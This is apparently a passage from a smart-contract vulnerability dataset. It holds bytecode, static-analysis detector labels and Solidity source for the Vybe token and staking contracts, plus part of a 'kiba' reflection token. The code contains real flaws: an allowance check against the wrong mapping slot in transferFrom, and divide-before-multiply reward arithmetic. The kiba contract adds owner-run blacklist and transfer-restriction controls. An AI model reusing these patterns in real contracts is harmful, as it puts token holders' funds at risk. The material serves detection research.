ffffffffffffffffffffffffffffffffffffff16858281518110151561224257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868481518110151561229157fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611f2f565b612306600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129bc565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123b157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156123ed57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808411801561250e575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561256a575060001515600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156125b45750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156125fe5750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561260957600080fd5b61261285612a15565b1561298d5783612621336115ef565b101561262c57600080fd5b61263e612638336115ef565b856129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269361268d866115ef565b856129bc565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156127255780518252602082019150602081019050602083039250612700565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156128065780820151818401526020810190506127eb565b50505050905090810190601f1680156128335780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f19350505050151561285757fe5b826040518082805190602001908083835b60208310151561288d5780518252602082019150602081019050602083039250612868565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001905061299b565b612998858585612d49565b90505b949350505050565b60008282111515156129b157fe5b818303905092915050565b60008082840190508381101515156129d057fe5b8091505092915050565b60008060008414156129ef5760009150612a0e565b8284029050828482811515612a0057fe5b04141515612a0a57fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083612a35336115ef565b1015612a4057600080fd5b612a52612a4c336115ef565b856129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aa7612aa1866115ef565b856129bc565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612baf578082015181840152602081019050612b94565b50505050905090810190601f168015612bdc5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515612bfc57600080fd5b6102c65a03f11515612c0d57600080fd5b505050826040518082805190602001908083835b602083101515612c465780518252602082019150602081019050602083039250612c21565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082612d55336115ef565b1015612d6057600080fd5b612d72612d6c336115ef565b846129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc7612dc1856115ef565b846129bc565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515612e405780518252602082019150602081019050602083039250612e1b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a72305820bb3b7d6d503538e36dd39dd136063a029a71453231e666e4c67810eb5e6f4d860029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,970 |
0x1Bcc32Ac1C994CE7e9526FbaF95f37AbC0B2EC39
|
pragma solidity 0.7.0;
interface IOwnershipTransferrable {
function transferOwnership(address owner) external;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
abstract contract Ownable is IOwnershipTransferrable {
address private _owner;
constructor(address owner) {
_owner = owner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) override external onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
bool private _entered;
modifier noReentrancy() {
require(!_entered);
_entered = true;
_;
_entered = false;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Vybe is Ownable {
using SafeMath for uint256;
uint256 constant UINT256_MAX = ~uint256(0);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() Ownable(msg.sender) {
_name = "Vybe";
_symbol = "VYBE";
_decimals = 18;
_totalSupply = 2000000 * 1e18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint8) {
return _decimals;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[msg.sender][sender] != UINT256_MAX) {
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function mint(address account, uint256 amount) external onlyOwner {
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external returns (bool) {
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(msg.sender, address(0), amount);
return true;
}
}
contract VybeStake is ReentrancyGuard, Ownable {
using SafeMath for uint256;
uint256 constant UINT256_MAX = ~uint256(0);
uint256 constant MONTH = 30 days;
Vybe private _VYBE;
bool private _dated;
bool private _migrated;
uint256 _deployedAt;
uint256 _totalStaked;
mapping (address => uint256) private _staked;
mapping (address => uint256) private _lastClaim;
address private _developerFund;
event StakeIncreased(address indexed staker, uint256 amount);
event StakeDecreased(address indexed staker, uint256 amount);
event Rewards(address indexed staker, uint256 mintage, uint256 developerFund);
event MelodyAdded(address indexed melody);
event MelodyRemoved(address indexed melody);
constructor(address vybe) Ownable(msg.sender) {
_VYBE = Vybe(vybe);
_developerFund = msg.sender;
_deployedAt = block.timestamp;
}
function upgradeDevelopmentFund(address fund) external onlyOwner {
_developerFund = fund;
}
function vybe() external view returns (address) {
return address(_VYBE);
}
function totalStaked() external view returns (uint256) {
return _totalStaked;
}
function migrate(address previous, address[] memory people, uint256[] memory lastClaims) external {
require(!_migrated);
require(people.length == lastClaims.length);
for (uint i = 0; i < people.length; i++) {
uint256 staked = VybeStake(previous).staked(people[i]);
_staked[people[i]] = staked;
_totalStaked = _totalStaked.add(staked);
_lastClaim[people[i]] = lastClaims[i];
emit StakeIncreased(people[i], staked);
}
require(_VYBE.transferFrom(previous, address(this), _VYBE.balanceOf(previous)));
_migrated = true;
}
function staked(address staker) external view returns (uint256) {
return _staked[staker];
}
function lastClaim(address staker) external view returns (uint256) {
return _lastClaim[staker];
}
function increaseStake(uint256 amount) external {
require(!_dated);
require(_VYBE.transferFrom(msg.sender, address(this), amount));
_totalStaked = _totalStaked.add(amount);
_lastClaim[msg.sender] = block.timestamp;
_staked[msg.sender] = _staked[msg.sender].add(amount);
emit StakeIncreased(msg.sender, amount);
}
function decreaseStake(uint256 amount) external {
_staked[msg.sender] = _staked[msg.sender].sub(amount);
_totalStaked = _totalStaked.sub(amount);
require(_VYBE.transfer(address(msg.sender), amount));
emit StakeDecreased(msg.sender, amount);
}
function calculateSupplyDivisor() public view returns (uint256) {
// base divisior for 5%
uint256 result = uint256(20)
.add(
// get how many months have passed since deployment
block.timestamp.sub(_deployedAt).div(MONTH)
// multiply by 5 which will be added, tapering from 20 to 50
.mul(5)
);
// set a cap of 50
if (result > 50) {
result = 50;
}
return result;
}
function _calculateMintage(address staker) private view returns (uint256) {
// total supply
uint256 share = _VYBE.totalSupply()
// divided by the supply divisor
// initially 20 for 5%, increases to 50 over months for 2%
.div(calculateSupplyDivisor())
// divided again by their stake representation
.div(_totalStaked.div(_staked[staker]));
// this share is supposed to be issued monthly, so see how many months its been
uint256 timeElapsed = block.timestamp.sub(_lastClaim[staker]);
uint256 mintage = 0;
// handle whole months
if (timeElapsed > MONTH) {
mintage = share.mul(timeElapsed.div(MONTH));
timeElapsed = timeElapsed.mod(MONTH);
}
// handle partial months, if there are any
// this if check prevents a revert due to div by 0
if (timeElapsed != 0) {
mintage = mintage.add(share.div(MONTH.div(timeElapsed)));
}
return mintage;
}
function calculateRewards(address staker) public view returns (uint256) {
// removes the five percent for the dev fund
return _calculateMintage(staker).div(20).mul(19);
}
// noReentrancy shouldn't be needed due to the lack of external calls
// better safe than sorry
function claimRewards() external noReentrancy {
require(!_dated);
uint256 mintage = _calculateMintage(msg.sender);
uint256 mintagePiece = mintage.div(20);
require(mintagePiece > 0);
// update the last claim time
_lastClaim[msg.sender] = block.timestamp;
// mint out their staking rewards and the dev funds
_VYBE.mint(msg.sender, mintage.sub(mintagePiece));
_VYBE.mint(_developerFund, mintagePiece);
emit Rewards(msg.sender, mintage, mintagePiece);
}
function addMelody(address melody) external onlyOwner {
_VYBE.approve(melody, UINT256_MAX);
emit MelodyAdded(melody);
}
function removeMelody(address melody) external onlyOwner {
_VYBE.approve(melody, 0);
emit MelodyRemoved(melody);
}
function upgrade(address owned, address upgraded) external onlyOwner {
_dated = true;
IOwnershipTransferrable(owned).transferOwnership(upgraded);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063eedad66b11610066578063eedad66b14610266578063f2397f3e14610283578063f2fde38b146102a9578063f3177079146102cf57610100565b80638da5cb5b146101ed57806398807d84146101f557806399a88ec41461021b578063e8b96de11461024957610100565b806364ab8675116100d357806364ab8675146101755780636b1dd7fd1461019b5780636de3ac3f146101bf578063817b1cd2146101e557610100565b80632da8913614610105578063372500ab1461012d5780634c885c02146101355780635c16e15e1461014f575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610406565b005b61012b610513565b61013d6106b9565b60408051918252519081900360200190f35b61013d6004803603602081101561016557600080fd5b50356001600160a01b0316610708565b61013d6004803603602081101561018b57600080fd5b50356001600160a01b0316610723565b6101a361073e565b604080516001600160a01b039092168252519081900360200190f35b61012b600480360360208110156101d557600080fd5b50356001600160a01b031661074d565b61013d6107ce565b6101a36107d4565b61013d6004803603602081101561020b57600080fd5b50356001600160a01b03166107e8565b61012b6004803603604081101561023157600080fd5b506001600160a01b0381358116916020013516610803565b61012b6004803603602081101561025f57600080fd5b50356108cf565b61012b6004803603602081101561027c57600080fd5b50356109cb565b61012b6004803603602081101561029957600080fd5b50356001600160a01b0316610af4565b61012b600480360360208110156102bf57600080fd5b50356001600160a01b0316610c00565b61012b600480360360608110156102e557600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561031057600080fd5b82018360208201111561032257600080fd5b8035906020019184602083028401116401000000008311171561034457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561039457600080fd5b8201836020820111156103a657600080fd5b803590602001918460208302840111640100000000831117156103c857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d0a945050505050565b60005461010090046001600160a01b03163314610458576040805162461bcd60e51b815260206004820181905260248201526000805160206111f1833981519152604482015290519081900360640190fd5b6001546040805163095ea7b360e01b81526001600160a01b038481166004830152600060248301819052925193169263095ea7b392604480840193602093929083900390910190829087803b1580156104b057600080fd5b505af11580156104c4573d6000803e3d6000fd5b505050506040513d60208110156104da57600080fd5b50506040516001600160a01b038216907f3161d766eb7d07d5e1ceea9abc5160636a3ec586a0f95a0c0cf367af6706d0b790600090a250565b60005460ff161561052357600080fd5b6000805460ff1916600190811790915554600160a01b900460ff161561054857600080fd5b600061055333610fee565b90506000610562826014611136565b90506000811161057157600080fd5b3360008181526005602052604090204290556001546001600160a01b0316906340c10f19906105a08585611158565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156105e657600080fd5b505af11580156105fa573d6000803e3d6000fd5b5050600154600654604080516340c10f1960e01b81526001600160a01b0392831660048201526024810187905290519190921693506340c10f199250604480830192600092919082900301818387803b15801561065657600080fd5b505af115801561066a573d6000803e3d6000fd5b5050604080518581526020810185905281513394507f61953b03ced70bb23c53b5a7058e431e3db88cf84a72660faea0849b785c43bd93509081900390910190a250506000805460ff19169055565b6000806106f46106ec60056106e662278d006106e06002544261115890919063ffffffff16565b90611136565b9061116d565b60149061119b565b90506032811115610703575060325b905090565b6001600160a01b031660009081526005602052604090205490565b600061073860136106e660146106e086610fee565b92915050565b6001546001600160a01b031690565b60005461010090046001600160a01b0316331461079f576040805162461bcd60e51b815260206004820181905260248201526000805160206111f1833981519152604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60035490565b60005461010090046001600160a01b031690565b6001600160a01b031660009081526004602052604090205490565b60005461010090046001600160a01b03163314610855576040805162461bcd60e51b815260206004820181905260248201526000805160206111f1833981519152604482015290519081900360640190fd5b6001805460ff60a01b1916600160a01b1790556040805163f2fde38b60e01b81526001600160a01b03838116600483015291519184169163f2fde38b9160248082019260009290919082900301818387803b1580156108b357600080fd5b505af11580156108c7573d6000803e3d6000fd5b505050505050565b336000908152600460205260409020546108e99082611158565b336000908152600460205260409020556003546109069082611158565b6003556001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561095d57600080fd5b505af1158015610971573d6000803e3d6000fd5b505050506040513d602081101561098757600080fd5b505161099257600080fd5b60408051828152905133917f700865370ffb2a65a2b0242e6a64b21ac907ed5ecd46c9cffc729c177b2b1c69919081900360200190a250565b600154600160a01b900460ff16156109e257600080fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a3c57600080fd5b505af1158015610a50573d6000803e3d6000fd5b505050506040513d6020811015610a6657600080fd5b5051610a7157600080fd5b600354610a7e908261119b565b6003553360009081526005602090815260408083204290556004909152902054610aa8908261119b565b33600081815260046020908152604091829020939093558051848152905191927f8b0ed825817a2e696c9a931715af4609fc60e1701f09c89ee7645130e937eb2d92918290030190a250565b60005461010090046001600160a01b03163314610b46576040805162461bcd60e51b815260206004820181905260248201526000805160206111f1833981519152604482015290519081900360640190fd5b6001546040805163095ea7b360e01b81526001600160a01b03848116600483015260001960248301529151919092169163095ea7b39160448083019260209291908290030181600087803b158015610b9d57600080fd5b505af1158015610bb1573d6000803e3d6000fd5b505050506040513d6020811015610bc757600080fd5b50506040516001600160a01b038216907fb87d41b5cab885fb2ce4b4c06efc62eea320378130b36c709de7d45facaa1bc890600090a250565b60005461010090046001600160a01b03163314610c52576040805162461bcd60e51b815260206004820181905260248201526000805160206111f1833981519152604482015290519081900360640190fd5b6001600160a01b038116610c975760405162461bcd60e51b81526004018080602001828103825260268152602001806111cb6026913960400191505060405180910390fd5b600080546040516001600160a01b038085169361010090930416917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600154600160a81b900460ff1615610d2157600080fd5b8051825114610d2f57600080fd5b60005b8251811015610ec5576000846001600160a01b03166398807d84858481518110610d5857fe5b60200260200101516040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610d9d57600080fd5b505afa158015610db1573d6000803e3d6000fd5b505050506040513d6020811015610dc757600080fd5b505184519091508190600490600090879086908110610de257fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002055600354610e13908261119b565b6003558251839083908110610e2457fe5b602002602001015160056000868581518110610e3c57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550838281518110610e7457fe5b60200260200101516001600160a01b03167f8b0ed825817a2e696c9a931715af4609fc60e1701f09c89ee7645130e937eb2d826040518082815260200191505060405180910390a250600101610d32565b50600154604080516370a0823160e01b81526001600160a01b038681166004830152915191909216916323b872dd918691309185916370a08231916024808301926020929190829003018186803b158015610f1f57600080fd5b505afa158015610f33573d6000803e3d6000fd5b505050506040513d6020811015610f4957600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526044820152905160648083019260209291908290030181600087803b158015610fa157600080fd5b505af1158015610fb5573d6000803e3d6000fd5b505050506040513d6020811015610fcb57600080fd5b5051610fd657600080fd5b50506001805460ff60a81b1916600160a81b17905550565b6001600160a01b03811660009081526004602052604081205460035482916110a49161101991611136565b6106e06110246106b9565b600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561107257600080fd5b505afa158015611086573d6000803e3d6000fd5b505050506040513d602081101561109c57600080fd5b505190611136565b6001600160a01b038416600090815260056020526040812054919250906110cc904290611158565b9050600062278d00821115611104576110f26110eb8362278d00611136565b849061116d565b90506111018262278d006111ad565b91505b811561112e5761112b61112461111d62278d0085611136565b8590611136565b829061119b565b90505b949350505050565b600080821161114457600080fd5b600082848161114f57fe5b04949350505050565b60008282111561116757600080fd5b50900390565b60008261117c57506000610738565b8282028284828161118957fe5b041461119457600080fd5b9392505050565b60008282018381101561119457600080fd5b6000816111b957600080fd5b8183816111c257fe5b06939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122044ef247c3fb29e5517dc6ff6602d92a376db73014e8c43fc727bd4ee811649cf64736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,971 |
0x4bb56c0227dffea909dd45204833aba63ec0e997
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/**
*
Tax: 5% Total for buy/sell
Token Economics
Total Supply: 1,000,000,000 $KIBA
⚡️ Burn token: 40%
⚡️ Add Liquidity : 55% + 2 ETH
⚡️ Marketing: 5%
https://twitter.com/KIMETSUYAIBAI
https://t.me/KIMETSUYAIBAI
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract kiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Kimetsu Yaiba ";
string private constant _symbol = " KIBA ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 3;
_teamFee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
